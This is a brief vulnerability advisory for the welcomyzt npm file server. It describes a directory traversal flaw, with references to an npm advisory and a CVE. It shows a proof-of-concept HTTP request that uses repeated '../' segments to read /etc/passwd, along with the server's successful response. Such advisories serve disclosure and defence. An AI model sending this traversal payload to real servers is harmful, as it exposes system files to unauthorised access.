welcomyzt is a simple file server.

welcomyzt is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing ../ in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

References

• https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/pooledwebsocket
• https://www.npmjs.com/advisories/388
• https://nvd.nist.gov/vuln/detail/CVE-2017-16123